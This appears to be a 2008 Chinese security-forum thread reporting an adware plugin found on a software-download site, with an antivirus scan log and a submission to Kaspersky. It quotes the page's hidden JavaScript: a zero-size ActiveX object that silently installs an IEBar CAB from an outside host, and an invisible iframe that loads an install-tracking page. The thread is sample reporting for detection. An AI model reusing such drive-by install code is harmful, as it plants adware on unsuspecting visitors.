网页恶意插件~

显示全部楼层 · 发表于 2008-9-26 19:46:41

网址：

http://www.hbynyt.com/softdown/view.asp?id=22

显示全部楼层 · 发表于 2008-9-26 19:52:02

test1.htm

if (GetCookie("today_install")==null)
      {
            document.write("<object id='InitObj' classid='clsid:56A7DC70-E102-4408-A34A-AE06FEF01586' height=0 width=0 CODEBASE='http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0'></object>");
      }

log1.htm

if ( isCookie != 'ok')
{
document.write('<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>');
}

附件扩展名原为cab，因不支持上传，改成了rar，不过一样能直接打开

iebar.rar (272.12 KB, 下载次数: 285)

显示全部楼层 · 发表于 2008-9-26 20:48:02

再补个图：

显示全部楼层 · 发表于 2008-9-26 20:57:16

费尔杀掉也是广告程序

显示全部楼层 · 发表于 2008-9-26 21:10:49

kis2009报了

显示全部楼层 · 发表于 2008-9-26 21:19:24

显示全部楼层 · 发表于 2008-9-26 21:22:44

Begin scan in 'E:\Download\Virus\iebar.rar'
E:\Download\Virus\iebar.rar
[0] Archive type: CAB (Microsoft)
--> iebar23.0.dll
   [DETECTION] Contains recognition pattern of the ADSPY/IEBar.M.1 adware or spyware
--> barhelp24.0.dll
   [DETECTION] Contains recognition pattern of the ADSPY/IEBar.N adware or spyware
[NOTE]    The file was deleted!

显示全部楼层 · 发表于 2008-11-24 20:15:34

To KL

[已鉴定] 网页恶意插件~

评分